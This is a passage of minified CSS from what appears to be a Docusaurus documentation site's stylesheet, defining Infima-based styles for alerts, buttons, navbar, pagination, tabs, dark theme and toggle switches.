var(--ifm-alert-border-color);border-left:var(--ifm-alert-border-left-width) solid var(--ifm-alert-border-color);border-radius:var(--ifm-alert-border-radius);box-shadow:var(--ifm-alert-shadow);padding:var(--ifm-alert-padding-vertical) var(--ifm-alert-padding-horizontal)}.alert__heading{align-items:center;display:flex;font:700 var(--ifm-h5-font-size)/var(--ifm-heading-line-height) var(--ifm-heading-font-family);margin-bottom:.5rem}.alert__icon{display:inline-flex;margin-right:.4em}.alert__icon svg{stroke:var(--ifm-alert-foreground-color);stroke-width:0}.alert .close{margin:calc(var(--ifm-alert-padding-vertical)*-1) calc(var(--ifm-alert-padding-horizontal)*-1) 0 0;opacity:.75}.alert .close:focus,.alert .close:hover{opacity:1}.alert a{-webkit-text-decoration-color:var(--ifm-alert-border-color);text-decoration-color:var(--ifm-alert-border-color)}.avatar,.navbar,.navbar>.container,.navbar>.container-fluid{display:flex}.avatar__photo-link,.tocCollapsibleContent_2Ydz a{display:block}.avatar__photo{border-radius:50%;height:var(--ifm-avatar-photo-size-md);width:var(--ifm-avatar-photo-size-md)}.avatar__photo--sm{height:var(--ifm-avatar-photo-size-sm);width:var(--ifm-avatar-photo-size-sm)}.avatar__photo--lg{height:var(--ifm-avatar-photo-size-lg);width:var(--ifm-avatar-photo-size-lg)}.avatar__photo--xl{height:var(--ifm-avatar-photo-size-xl);width:var(--ifm-avatar-photo-size-xl)}.avatar__photo+.avatar__intro{margin-left:var(--ifm-avatar-intro-margin)}.avatar__intro{display:flex;flex:1 1;flex-direction:column;justify-content:center;text-align:var(--ifm-avatar-intro-alignment)}.badge,.breadcrumbs__item,.breadcrumbs__link,.button,.dropdown>.navbar__link:after,.menu__link--sublist:after{display:inline-block}.avatar__name{font:700 var(--ifm-h4-font-size)/var(--ifm-heading-line-height) var(--ifm-font-family-base)}.avatar__subtitle{margin-top:.25rem}.avatar--vertical{--ifm-avatar-intro-alignment:center;--ifm-avatar-intro-margin:0.5rem;align-items:center;flex-direction:column}.avatar--vertical .avatar__intro{margin-left:0}.badge{background-color:var(--ifm-badge-background-color);border:var(--ifm-badge-border-width) solid var(--ifm-badge-border-color);border-radius:var(--ifm-badge-border-radius);color:var(--ifm-badge-color);font-size:75%;font-weight:var(--ifm-font-weight-bold);line-height:1;padding:var(--ifm-badge-padding-vertical) var(--ifm-badge-padding-horizontal)}.badge--primary{--ifm-badge-background-color:var(--ifm-color-primary)}.badge--secondary{--ifm-badge-background-color:var(--ifm-color-secondary);color:var(--ifm-color-black)}.breadcrumbs__link,.button.button--secondary.button--outline:not(.button--active):not(:hover){color:var(--ifm-font-color-base)}.badge--success{--ifm-badge-background-color:var(--ifm-color-success)}.badge--info{--ifm-badge-background-color:var(--ifm-color-info)}.badge--warning{--ifm-badge-background-color:var(--ifm-color-warning)}.badge--danger{--ifm-badge-background-color:var(--ifm-color-danger)}.breadcrumbs{margin-bottom:0;padding-left:0}.breadcrumbs__item:not(:first-child){margin-left:var(--ifm-breadcrumb-spacing)}.breadcrumbs__item:not(:last-child){margin-right:var(--ifm-breadcrumb-spacing)}.breadcrumbs__item:not(:last-child):after{background:var(--ifm-breadcrumb-separator) center;content:" ";display:inline-block;filter:var(--ifm-breadcrumb-separator-filter);height:calc(var(--ifm-breadcrumb-separator-size)*var(--ifm-breadcrumb-size-multiplier)*var(--ifm-breadcrumb-separator-size-multiplier));margin:0 .5rem;opacity:.5;width:calc(var(--ifm-breadcrumb-separator-size)*var(--ifm-breadcrumb-size-multiplier)*var(--ifm-breadcrumb-separator-size-multiplier))}.breadcrumbs__item--active .breadcrumbs__link{color:var(--ifm-breadcrumb-color-active)}.breadcrumbs__item--active .breadcrumbs__link,.breadcrumbs__item:not(.breadcrumbs__item--active):hover .breadcrumbs__link{background:var(--ifm-breadcrumb-item-background-active)}.breadcrumbs__link{border-radius:var(--ifm-breadcrumb-border-radius);font-size:calc(1rem*var(--ifm-breadcrumb-size-multiplier));padding:calc(var(--ifm-breadcrumb-padding-vertical)*var(--ifm-breadcrumb-size-multiplier)) calc(var(--ifm-breadcrumb-padding-horizontal)*var(--ifm-breadcrumb-size-multiplier));transition-duration:var(--ifm-transition-fast);transition-property:background,color}.breadcrumbs--sm{--ifm-breadcrumb-size-multiplier:0.8}.breadcrumbs--lg{--ifm-breadcrumb-size-multiplier:1.2}.button{background-color:var(--ifm-button-background-color);border:var(--ifm-button-border-width) solid var(--ifm-button-border-color);border-radius:var(--ifm-button-border-radius);cursor:pointer;font-size:calc(.875rem*var(--ifm-button-size-multiplier));font-weight:var(--ifm-button-font-weight);line-height:1.5;padding:calc(var(--ifm-button-padding-vertical)*var(--ifm-button-size-multiplier)) calc(var(--ifm-button-padding-horizontal)*var(--ifm-button-size-multiplier));text-align:center;transition-duration:var(--ifm-button-transition-duration);transition-property:color,background,border-color;user-select:none}.button,.button:hover{color:var(--ifm-button-color)}.button--outline{--ifm-button-color:var(--ifm-button-border-color)}.button--outline:hover{--ifm-button-background-color:var(--ifm-button-border-color)}.button--link{--ifm-button-border-color:transparent;color:var(--ifm-link-color);text-decoration:var(--ifm-link-decoration)}.button--link.button--active,.button--link:active,.button--link:hover{color:var(--ifm-link-hover-color);text-decoration:var(--ifm-link-hover-decoration)}.button.disabled,.button:disabled,.button[disabled]{opacity:.65;pointer-events:none}.button--sm{--ifm-button-size-multiplier:0.8}.button--lg{--ifm-button-size-multiplier:1.35}.button--block{display:block;width:100%}.button.button--secondary{color:var(--ifm-color-gray-900)}.button--primary{--ifm-button-border-color:var(--ifm-color-primary)}.button--primary:not(.button--outline){--ifm-button-background-color:var(--ifm-color-primary)}.button--primary:not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-primary-dark);--ifm-button-border-color:var(--ifm-color-primary-dark)}.button--primary.button--active,.button--primary:active{--ifm-button-border-color:var(--ifm-color-primary-darker);--ifm-button-background-color:var(--ifm-color-primary-darker);background-color:var(--ifm-color-primary-darker);border-color:var(--ifm-color-primary-darker)}.button--secondary{--ifm-button-border-color:var(--ifm-color-secondary)}.button--secondary:not(.button--outline){--ifm-button-background-color:var(--ifm-color-secondary)}.button--secondary:not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-secondary-dark);--ifm-button-border-color:var(--ifm-color-secondary-dark)}.button--secondary.button--active,.button--secondary:active{--ifm-button-border-color:var(--ifm-color-secondary-darker);--ifm-button-background-color:var(--ifm-color-secondary-darker);background-color:var(--ifm-color-secondary-darker);border-color:var(--ifm-color-secondary-darker)}.button--success{--ifm-button-border-color:var(--ifm-color-success)}.button--success:not(.button--outline){--ifm-button-background-color:var(--ifm-color-success)}.button--success:not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-success-dark);--ifm-button-border-color:var(--ifm-color-success-dark)}.button--success.button--active,.button--success:active{--ifm-button-border-color:var(--ifm-color-success-darker);--ifm-button-background-color:var(--ifm-color-success-darker);background-color:var(--ifm-color-success-darker);border-color:var(--ifm-color-success-darker)}.button--info{--ifm-button-border-color:var(--ifm-color-info)}.button--info:not(.button--outline){--ifm-button-background-color:var(--ifm-color-info)}.button--info:not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-info-dark);--ifm-button-border-color:var(--ifm-color-info-dark)}.button--info.button--active,.button--info:active{--ifm-button-border-color:var(--ifm-color-info-darker);--ifm-button-background-color:var(--ifm-color-info-darker);background-color:var(--ifm-color-info-darker);border-color:var(--ifm-color-info-darker)}.button--warning{--ifm-button-border-color:var(--ifm-color-warning)}.button--warning:not(.button--outline){--ifm-button-background-color:var(--ifm-color-warning)}.button--warning:not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-warning-dark);--ifm-button-border-color:var(--ifm-color-warning-dark)}.button--warning.button--active,.button--warning:active{--ifm-button-border-color:var(--ifm-color-warning-darker);--ifm-button-background-color:var(--ifm-color-warning-darker);background-color:var(--ifm-color-warning-darker);border-color:var(--ifm-color-warning-darker)}.button--danger{--ifm-button-border-color:var(--ifm-color-danger)}.button--danger:not(.button--outline){--ifm-button-background-color:var(--ifm-color-danger)}.button--danger:not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-danger-dark);--ifm-button-border-color:var(--ifm-color-danger-dark)}.button--danger.button--active,.button--danger:active{--ifm-button-border-color:var(--ifm-color-danger-darker);--ifm-button-background-color:var(--ifm-color-danger-darker);background-color:var(--ifm-color-danger-darker);border-color:var(--ifm-color-danger-darker)}.button-group{display:inline-flex}.button-group>.button:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;margin-left:var(--ifm-button-group-margin)}.button-group>.button:not(:last-child){border-bottom-right-radius:0;border-top-right-radius:0}.button-group>.button--active{z-index:1}.button-group--block{display:flex;justify-content:stretch}.button-group--block>.button{flex-grow:1}.card{background-color:var(--ifm-card-background-color);border-radius:var(--ifm-card-border-radius);box-shadow:var(--ifm-global-shadow-lw);display:flex;flex-direction:column}.card--full-height,body,html{height:100%}.card__image{padding-top:var(--ifm-card-vertical-spacing)}.card__image:first-child{padding-top:0}.card__body,.card__footer,.card__header{padding:var(--ifm-card-vertical-spacing) var(--ifm-card-horizontal-spacing)}.card__body:not(:last-child),.card__footer:not(:last-child),.card__header:not(:last-child){padding-bottom:0}.admonition-content>:last-child,.card__body>:last-child,.card__footer>:last-child,.card__header>:last-child{margin-bottom:0}.card__footer{margin-top:auto}.table-of-contents{font-size:.8rem;margin-bottom:0;padding:var(--ifm-toc-padding-vertical) 0}.table-of-contents,.table-of-contents ul{list-style-type:none;padding-left:var(--ifm-toc-padding-horizontal)}.table-of-contents li{margin:var(--ifm-toc-padding-vertical) var(--ifm-toc-padding-horizontal)}.table-of-contents__left-border{border-left:1px solid var(--ifm-toc-border-color)}.table-of-contents__link{color:var(--ifm-toc-link-color)}.table-of-contents__link--active,.table-of-contents__link--active code,.table-of-contents__link:hover,.table-of-contents__link:hover code{color:var(--ifm-color-primary);text-decoration:none}.close{color:var(--ifm-color-black);float:right;font-size:1.5rem;font-weight:var(--ifm-font-weight-bold);line-height:1;opacity:.5;padding:1rem;transition:opacity var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.dropdown__menu,.menu__link,.menu__link:hover{transition-duration:var(--ifm-transition-fast);transition-timing-function:var(--ifm-transition-timing-default)}.close:hover{opacity:.7}.backToTopButton_35hR:not(:focus):hover,.close:focus{opacity:.8}.dropdown{display:inline-flex;font-weight:var(--ifm-dropdown-font-weight);position:relative;vertical-align:top}.dropdown--hoverable:hover .dropdown__menu,.dropdown--show .dropdown__menu{opacity:1;transform:translateY(0);visibility:visible}.dropdown--right .dropdown__menu{right:0}.dropdown--nocaret .navbar__link:after{content:none!important}.dropdown__menu{background-color:var(--ifm-dropdown-background-color);border-radius:var(--ifm-global-radius);box-shadow:var(--ifm-global-shadow-md);list-style:none;max-height:calc(100vh - var(--ifm-navbar-height));min-width:10rem;opacity:0;overflow-y:auto;padding:.5rem;position:absolute;top:calc(100% - var(--ifm-navbar-item-padding-vertical));transform:translateY(-.625rem);transition-property:opacity,transform,visibility;visibility:hidden;z-index:var(--ifm-z-index-dropdown)}.dropdown__link{border-radius:.25rem;color:var(--ifm-dropdown-link-color);display:block;font-size:.875rem;margin-top:.2rem;padding:.25rem .5rem}.dropdown__link--active,.dropdown__link:hover{background-color:var(--ifm-dropdown-hover-background-color);color:var(--ifm-dropdown-link-color);text-decoration:none}.dropdown__link--active,.dropdown__link--active:hover{--ifm-dropdown-link-color:var(--ifm-link-color)}.dropdown>.navbar__link:after{border-color:currentcolor transparent;border-style:solid;border-width:.4em .4em 0;content:"";margin-left:.3em;position:relative;top:2px;transform:translateY(-50%)}.footer{background-color:var(--ifm-footer-background-color);color:var(--ifm-footer-color);padding:var(--ifm-footer-padding-vertical) var(--ifm-footer-padding-horizontal)}.footer--dark{--ifm-footer-background-color:#303846;--ifm-footer-color:var(--ifm-footer-link-color);--ifm-footer-link-color:var(--ifm-color-secondary);--ifm-footer-title-color:var(--ifm-color-white)}.footer__links{margin-bottom:1rem}.footer__link-item{color:var(--ifm-footer-link-color);line-height:2}.footer__link-item:hover{color:var(--ifm-footer-link-hover-color)}.footer__link-separator{margin:0 var(--ifm-footer-link-horizontal-spacing)}.footer__logo{margin-top:1rem;max-width:10rem}.footer__title{color:var(--ifm-footer-title-color);font:700 var(--ifm-h4-font-size)/var(--ifm-heading-line-height) var(--ifm-font-family-base);margin-bottom:var(--ifm-heading-margin-bottom)}.footer__item{margin-top:0}.footer__items{list-style-type:none;margin-bottom:0;padding-left:0}[type=checkbox]{padding:0}.hero{align-items:center;background-color:var(--ifm-hero-background-color);color:var(--ifm-hero-text-color);display:flex;padding:4rem 2rem}.hero--primary{--ifm-hero-background-color:var(--ifm-color-primary);--ifm-hero-text-color:var(--ifm-font-color-base-inverse)}.hero--dark{--ifm-hero-background-color:#303846;--ifm-hero-text-color:var(--ifm-color-white)}.hero__title{font-size:3rem}.hero__subtitle{font-size:1.5rem}.menu{font-weight:var(--ifm-font-weight-semibold);overflow-x:hidden}.menu__list{list-style-type:none;margin:0;padding-left:0}.menu__list .menu__list{margin-left:var(--ifm-menu-link-padding-horizontal)}.menu__list-item:not(:first-child){margin-top:.25rem}.menu__list-item--collapsed .menu__list{height:0;overflow:hidden}.menu__link{border-radius:.25rem;justify-content:space-between;line-height:1.25;padding:var(--ifm-menu-link-padding-vertical) var(--ifm-menu-link-padding-horizontal);position:relative}.menu__link,.menu__link:hover{color:var(--ifm-menu-color);transition-property:color,background}.menu__link:hover{background:var(--ifm-menu-color-background-hover);text-decoration:none}.menu__link--sublist{margin-bottom:.25rem}.menu__link--sublist:after{background:var(--ifm-menu-link-sublist-icon) 50%/2rem 2rem;content:" ";filter:var(--ifm-menu-link-sublist-icon-filter);min-width:1.25rem;transition:transform var(--ifm-transition-fast) linear}.menu__link--active,.menu__link--active:hover{color:var(--ifm-menu-color-active)}.navbar__brand,.navbar__link{color:var(--ifm-navbar-link-color)}.menu__link--active:not(.menu__link--sublist){background:var(--ifm-menu-color-background-active)}.navbar--dark,html[data-theme=dark]{--ifm-menu-link-sublist-icon-filter:invert(100%) sepia(94%) saturate(17%) hue-rotate(223deg) brightness(104%) contrast(98%)}.navbar{background-color:var(--ifm-navbar-background-color);box-shadow:var(--ifm-navbar-shadow);height:var(--ifm-navbar-height);padding:var(--ifm-navbar-padding-vertical) var(--ifm-navbar-padding-horizontal)}.navbar--fixed-top{position:sticky;top:0;z-index:var(--ifm-z-index-fixed)}.navbar-sidebar,.navbar-sidebar__backdrop{bottom:0;opacity:0;position:fixed;transition-timing-function:ease-in-out;visibility:hidden;top:0;left:0}.navbar__inner{display:flex;flex-wrap:wrap;justify-content:space-between;width:100%}.navbar__brand{align-items:center;display:flex;font-weight:700;height:2rem;margin-right:1rem;min-width:0}.navbar__brand:hover{color:inherit;text-decoration:none}.navbar__title{flex:1 1 auto;overflow:hidden}.navbar__toggle{display:none;margin-right:.5rem}.navbar__logo{height:100%;margin-right:.5rem}.navbar__items{align-items:center;display:flex;flex:1;min-width:0}.navbar__items--center{flex:0 0 auto}.navbar__items--center .navbar__brand{margin:0}.navbar__items--center+.navbar__items--right{flex:1}.navbar__items--right{flex:0 0 auto;justify-content:flex-end}.navbar__items--right>:last-child{padding-right:0}.navbar__item{display:inline-block;padding:var(--ifm-navbar-item-padding-vertical) var(--ifm-navbar-item-padding-horizontal)}#nprogress,.navbar__item.dropdown .navbar__link:not([href]){pointer-events:none}.navbar__link{font-weight:var(--ifm-font-weight-semibold)}.navbar__link--active,.navbar__link:hover{color:var(--ifm-navbar-link-hover-color);text-decoration:none}.navbar--dark{--ifm-navbar-background-color:#242526;--ifm-navbar-link-color:var(--ifm-color-gray-100);--ifm-navbar-search-input-color:var(--ifm-color-white);--ifm-menu-color:var(--ifm-color-gray-300);--ifm-navbar-toggle-color:var(--ifm-color-white)}.navbar--dark .navbar__toggle{color:var(--ifm-color-white)}.navbar--primary{--ifm-navbar-background-color:var(--ifm-color-primary);--ifm-navbar-link-hover-color:var(--ifm-color-white);--ifm-navbar-search-input-color:var(--ifm-color-emphasis-500)}.navbar__search-input{-webkit-appearance:none;appearance:none;background:var(--ifm-navbar-search-input-background-color) var(--ifm-navbar-search-input-icon) no-repeat .75rem center/1rem 1rem;border:none;border-radius:2rem;color:var(--ifm-navbar-search-input-color);cursor:text;display:inline-block;font-size:.9rem;height:2rem;padding:0 .5rem 0 2.25rem;width:12.5rem}.navbar__search-input:-ms-input-placeholder{color:var(--ifm-navbar-search-input-placeholder-color)}.navbar__search-input::placeholder{color:var(--ifm-navbar-search-input-placeholder-color)}.navbar-sidebar{background-color:var(--ifm-navbar-background-color);box-shadow:var(--ifm-global-shadow-md);overflow-x:hidden;transform:translate3d(-100%,0,0);transition-duration:.25s;transition-property:opacity,visibility,transform;width:var(--ifm-navbar-sidebar-width)}.navbar-sidebar--show .navbar-sidebar,.navbar-sidebar__items{transform:translateZ(0)}.navbar-sidebar--show .navbar-sidebar,.navbar-sidebar--show .navbar-sidebar__backdrop{opacity:1;visibility:visible}.navbar-sidebar__backdrop{background-color:rgba(0,0,0,.6);right:0;transition-duration:.1s;transition-property:opacity,visibility}.navbar-sidebar__brand{align-items:center;box-shadow:var(--ifm-navbar-shadow);display:flex;flex:1;height:var(--ifm-navbar-height);padding:var(--ifm-navbar-padding-vertical) var(--ifm-navbar-padding-horizontal)}.navbar-sidebar__items{display:flex;height:calc(100% - var(--ifm-navbar-height));transition:transform var(--ifm-transition-fast) ease-in-out}.pagination__item,.pagination__link{display:inline-block}.navbar-sidebar__items--show-secondary{transform:translate3d(calc(var(--ifm-navbar-sidebar-width)*-1),0,0)}.navbar-sidebar__item{flex-shrink:0;padding:.5rem;width:calc(var(--ifm-navbar-sidebar-width))}.navbar-sidebar__back{background:var(--ifm-menu-color-background-active);font-size:15px;font-weight:var(--ifm-button-font-weight);margin:0 0 .2rem -.5rem;padding:.6rem 1.5rem;position:relative;text-align:left;top:-.5rem;width:calc(100% + 1rem)}.pagination{font-size:var(--ifm-pagination-font-size);padding-left:0}.pagination--sm{--ifm-pagination-font-size:0.8rem;--ifm-pagination-padding-horizontal:0.8rem;--ifm-pagination-padding-vertical:0.2rem}.pagination--lg{--ifm-pagination-font-size:1.2rem;--ifm-pagination-padding-horizontal:1.2rem;--ifm-pagination-padding-vertical:0.3rem}.pagination__item:not(:first-child){margin-left:var(--ifm-pagination-page-spacing)}.pagination__item:not(:last-child){margin-right:var(--ifm-pagination-page-spacing)}.pagination__item>span{padding:var(--ifm-pagination-padding-vertical)}.pagination__item--active .pagination__link{color:var(--ifm-pagination-color-active)}.pagination__item--active .pagination__link,.pagination__item:not(.pagination__item--active):hover .pagination__link{background:var(--ifm-pagination-item-active-background)}.pagination__item--disabled,.pagination__item[disabled]{opacity:.25;pointer-events:none}.pagination__link{border-radius:var(--ifm-pagination-border-radius);color:var(--ifm-font-color-base);padding:var(--ifm-pagination-padding-vertical) var(--ifm-pagination-padding-horizontal);transition:background var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.pagination__link:hover{text-decoration:none}.docs-wrapper,.pagination-nav{display:flex}.pagination-nav__item{display:flex;flex:1 50%;max-width:50%}.pagination-nav__item--next{text-align:right}.pagination-nav__item+.pagination-nav__item{margin-left:var(--ifm-spacing-horizontal)}.pagination-nav__link{border:1px solid var(--ifm-color-emphasis-300);border-radius:var(--ifm-pagination-nav-border-radius);flex-grow:1;line-height:var(--ifm-heading-line-height);padding:var(--ifm-global-spacing);transition:border-color var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.pagination-nav__link:hover{border-color:var(--ifm-pagination-nav-color-hover);text-decoration:none}.pagination-nav__label{font-size:var(--ifm-h4-font-size);font-weight:var(--ifm-heading-font-weight);word-break:break-word}.pagination-nav__sublabel{color:var(--ifm-color-content-secondary);font-size:var(--ifm-h5-font-size);font-weight:var(--ifm-font-weight-semibold);margin-bottom:.25rem}.pills,.tabs{font-weight:var(--ifm-font-weight-bold)}.pills{padding-left:0}.pills__item{border-radius:.5rem;cursor:pointer;display:inline-block;padding:.25rem 1rem;transition:background var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.pills__item--active{background:var(--ifm-pills-color-background-active);color:var(--ifm-pills-color-active)}.pills__item:not(.pills__item--active):hover{background-color:var(--ifm-pills-color-background-active)}.pills__item:not(:first-child){margin-left:var(--ifm-pills-spacing)}.pills__item:not(:last-child){margin-right:var(--ifm-pills-spacing)}.docItemContainer_33ec article>:first-child,.docItemContainer_33ec header+*,.pills__item+.pills__item{margin-top:0}.pills--block{display:flex;justify-content:stretch}.pills--block .pills__item{flex-grow:1;text-align:center}.tabs{color:var(--ifm-tabs-color);display:flex;margin-bottom:0;overflow-x:auto;padding-left:0}.tabs__item{border-bottom:3px solid transparent;border-radius:var(--ifm-global-radius);cursor:pointer;display:inline-flex;padding:var(--ifm-tabs-padding-vertical) var(--ifm-tabs-padding-horizontal);transition:background-color var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.tabs__item--active{border-bottom-color:var(--ifm-tabs-color-active-border);border-bottom-left-radius:0;border-bottom-right-radius:0;color:var(--ifm-tabs-color-active)}.tabs__item:hover{background-color:var(--ifm-hover-overlay)}.tabs--block{justify-content:stretch}.tabs--block .tabs__item{flex-grow:1;justify-content:center}html[data-theme=dark]{--ifm-color-scheme:dark;--ifm-color-emphasis-0:var(--ifm-color-gray-1000);--ifm-color-emphasis-100:var(--ifm-color-gray-900);--ifm-color-emphasis-200:var(--ifm-color-gray-800);--ifm-color-emphasis-300:var(--ifm-color-gray-700);--ifm-color-emphasis-400:var(--ifm-color-gray-600);--ifm-color-emphasis-600:var(--ifm-color-gray-400);--ifm-color-emphasis-700:var(--ifm-color-gray-300);--ifm-color-emphasis-800:var(--ifm-color-gray-200);--ifm-color-emphasis-900:var(--ifm-color-gray-100);--ifm-color-emphasis-1000:var(--ifm-color-gray-0);--ifm-background-color:#18191a;--ifm-background-surface-color:#242526;--ifm-hover-overlay:hsla(0,0%,100%,0.05);--ifm-color-content-secondary:#fff;--ifm-breadcrumb-separator-filter:invert(64%) sepia(11%) saturate(0%) hue-rotate(149deg) brightness(99%) contrast(95%);--ifm-code-background:#333437;--ifm-blockquote-background-color:#4d4523;--ifm-scrollbar-track-background-color:#444;--ifm-scrollbar-thumb-background-color:#686868;--ifm-scrollbar-thumb-hover-background-color:#7a7a7a;--ifm-color-primary-contrast-background:#102445;--ifm-color-primary-contrast-foreground:#ebf2fc;--ifm-color-secondary-contrast-background:#474748;--ifm-color-secondary-contrast-foreground:#fdfdfe;--ifm-color-success-contrast-background:#003100;--ifm-color-success-contrast-foreground:#e6f6e6;--ifm-color-info-contrast-background:#193c47;--ifm-color-info-contrast-foreground:#eef9fd;--ifm-color-warning-contrast-background:#4d3800;--ifm-color-warning-contrast-foreground:#fff8e6;--ifm-color-danger-contrast-background:#4b1113;--ifm-color-danger-contrast-foreground:#ffebec}.admonition h5{margin-bottom:8px;margin-top:0}.admonition-icon{display:inline-block;margin-right:.4em;vertical-align:middle}.admonition-icon svg{stroke-width:0;stroke:var(--ifm-alert-foreground-color);display:inline-block;height:22px;width:22px}.admonition{margin-bottom:1em}.docusaurus-highlight-code-line{background-color:rgba(0,0,0,.1);display:block;margin:0 calc(var(--ifm-pre-padding)*-1);padding:0 var(--ifm-pre-padding)}html[data-theme=dark] .docusaurus-highlight-code-line{background-color:rgba(0,0,0,.3)}.menu__link{display:block;font-weight:400;overflow:hidden;width:100%}#docusaurus-base-url-issue-banner-container,.collapseSidebarButton_1CGd,.docSidebarContainer_3Kbt,.sidebarLogo_3h0W,.themedImage_1VuW,html[data-announcement-bar-initially-dismissed=true] .announcementBar_3WsW{display:none}.menu__list-item--collapsed .menu__link--sublist:after{transform:rotate(0)}.menu__link--sublist:after{background-image:url(data:image/svg+xml;base64,PHN2ZyBjbGFzcz0iaWNvbiIgdmlld0JveD0iMCAwIDEwMjQgMTAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiPjxwYXRoIGQ9Im01OTUuNzEyIDUyNi4xMTItMjA1LjQ0LTE5Ny4yOGMtOC44NjQtMTAuNDMyLTcuNTA0LTI1Ljk2OCAzLjAyNC0zNC42ODggMTAuNTI4LTguNzM2IDI2LjI0LTcuMzYgMzUuMDg4IDMuMDcybDIwNS40MjQgMTk3LjI4YzguODY0IDEwLjQzMiA3LjUwNCAyNS45NjgtMy4wMDggMzQuNjg4cy0yNi4yNCA3LjM3Ni0zNS4wODgtMy4wNzJ6IiBmaWxsPSIjNzA3MDcwIi8+PHBhdGggZD0ibTM5MC4yNTYgNjk1LjY4IDIwNS40NC0xOTcuMjhjOC44NjQtMTAuNDMyIDI0LjU2LTExLjgwOCAzNS4wODgtMy4wODhBMjQuNDI2IDI0LjQyNiAwIDAgMSA2MzMuODA4IDUzMGwtMjA1LjQ0IDE5Ny4yOGMtOC44NDggMTAuNDMyLTI0LjU2IDExLjgwOC0zNS4wODggMy4wNzItMTAuNTI4LTguNjg4LTExLjg4OC0yNC4yMjQtMy4wMjQtMzQuNjcyeiIgZmlsbD0iIzcwNzA3MCIvPjwvc3ZnPg==);height:.75em;margin-left:.2em;transform:rotate(90deg);width:.75em}main{padding:0 16px}h1{font-size:32px}h1,h2,h3,h4,h5,h6{font-weight:600}h2{font-size:24px}h3{font-size:20px}h4{font-size:16px}h5{font-size:14px}h6{font-size:12px}#nprogress .bar{background:#29d;height:2px;left:0;position:fixed;top:0;width:100%;z-index:5}#nprogress .peg{box-shadow:0 0 10px #29d,0 0 5px #29d;height:100%;opacity:1;position:absolute;right:0;transform:rotate(3deg) translateY(-4px);width:100px}.details_2Ziz{--docusaurus-details-summary-arrow-size:0.38rem;--docusaurus-details-transition:transform 200ms ease;--docusaurus-details-decoration-color:grey}.details_2Ziz>summary{cursor:pointer;list-style:none;padding-left:1rem;position:relative}.details_2Ziz>summary::-webkit-details-marker{display:none}.details_2Ziz>summary:before{border:var(--docusaurus-details-summary-arrow-size) solid transparent;border-left:var(--docusaurus-details-summary-arrow-size) solid var(--docusaurus-details-decoration-color);content:"";left:0;position:absolute;top:.45rem;transform:rotate(0);transform-origin:calc(var(--docusaurus-details-summary-arrow-size)/2) 50%;transition:var(--docusaurus-details-transition)}.details_2Ziz[data-collapsed=false].isBrowser_2j9b>summary:before,.details_2Ziz[open]:not(.isBrowser_2j9b)>summary:before{transform:rotate(90deg)}.collapsibleContent_3OHp{border-top:1px solid var(--docusaurus-details-decoration-color);margin-top:1rem;padding-top:1rem}.skipToContent_1oUP{background-color:var(--ifm-background-surface-color);color:var(--ifm-color-emphasis-900);left:100%;padding:calc(var(--ifm-global-spacing)/2) var(--ifm-global-spacing);position:fixed;top:1rem;z-index:calc(var(--ifm-z-index-fixed) + 1)}.skipToContent_1oUP:focus{box-shadow:var(--ifm-global-shadow-md);left:1rem}.announcementBar_3WsW{background-color:var(--ifm-color-white);border-bottom:1px solid var(--ifm-color-emphasis-100);color:var(--ifm-color-black);height:var(--docusaurus-announcement-bar-height);position:relative;width:100%}.announcementBarClose_38nx{font-size:1.25rem;height:100%;position:absolute;right:0;top:0;width:55px}.announcementBarContent_3EUC{font-size:85%;padding:5px 0;text-align:center;width:100%}.announcementBarCloseable_3myR{margin-right:55px}.announcementBarContent_3EUC a{color:inherit;text-decoration:underline}.react-toggle{cursor:pointer;position:relative;touch-action:pan-x;user-select:none}.react-toggle-screenreader-only{clip:rect(0 0 0 0);border:0;height:1px;margin:-1px;overflow:hidden;position:absolute;width:1px}.react-toggle--disabled{cursor:not-allowed}.react-toggle-track{background-color:#4d4d4d;border-radius:30px;height:24px;transition:.2s;width:50px}.react-toggle-track-check,.react-toggle-track-x{bottom:0;height:10px;margin:auto 0;top:0;position:absolute}.react-toggle-track-check{left:8px;opacity:0;transition:opacity .25s;width:14px}.react-toggle--checked .react-toggle-track-check,.react-toggle-track-x,[data-theme=dark] .react-toggle .react-toggle-track-check{opacity:1;transition:opacity .25s}.react-toggle-track-x{right:10px;width:10px}.react-toggle--checked .react-toggle-track-x,[data-theme=dark] .react-toggle .react-toggle-track-x{opacity:0}.react-toggle-thumb{background-color:#fafafa;border:1px solid #4d4d4d;border-radius:50%;height:22px;left:1px;position:absolute;top:1px;transition:.25s;width:22px}.react-toggle--checked .react-toggle-thumb,[data-theme=dark] .react-toggle .react-toggle-thumb{left:27px}.react-toggle--focus .react-toggle-thumb,.react-toggle:hover .react-toggle-thumb{box-shadow:0 0 2px 3px var(--ifm-color-primary)}.react-toggle:active:not(.react-toggle--disabled) .react-toggle-thumb{box-shadow:0 0 5px 5px var(--ifm-color-primary)}.toggle_71bT{align-items:center;display:flex;height:10px;justify-content:center;width:10px}.toggle_71bT:before{position:absolute}.iconExternalLink_3J9K{margin-left:.3rem;position:relative;top:1px}.iconLanguage_3vod{margin-right:5px;vertical-align:text-bottom}html[data-theme=dark] .themedImage--dark_hz6m,html[data-theme=light] .themedImage--light_3UqQ{display:initial}.navbarHideable_2qcr{transition:transform var(--ifm-transition-fast) ease}.navbarHidden_3yey{transform:translate3d(0,calc(-100% - 2px),0)}.footerLogoLink_MyFc{opacity:.5;transition:opacity var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.codeBlockContent_hGly:hover>.copyButton_Ue-o,.codeBlockTitle_eoMF:hover+.codeBlockContent_hGly .copyButton_Ue-o,.copyButton_Ue-o:focus,.footerLogoLink_MyFc:hover,.hash-link:focus,:hover>.hash-link{opacity:1}body:not(.navigation-with-keyboard) :not(input):focus{outline:0}#__docusaurus{display:flex;flex-direction:column;min-height:100%}.main-wrapper{flex:1 0 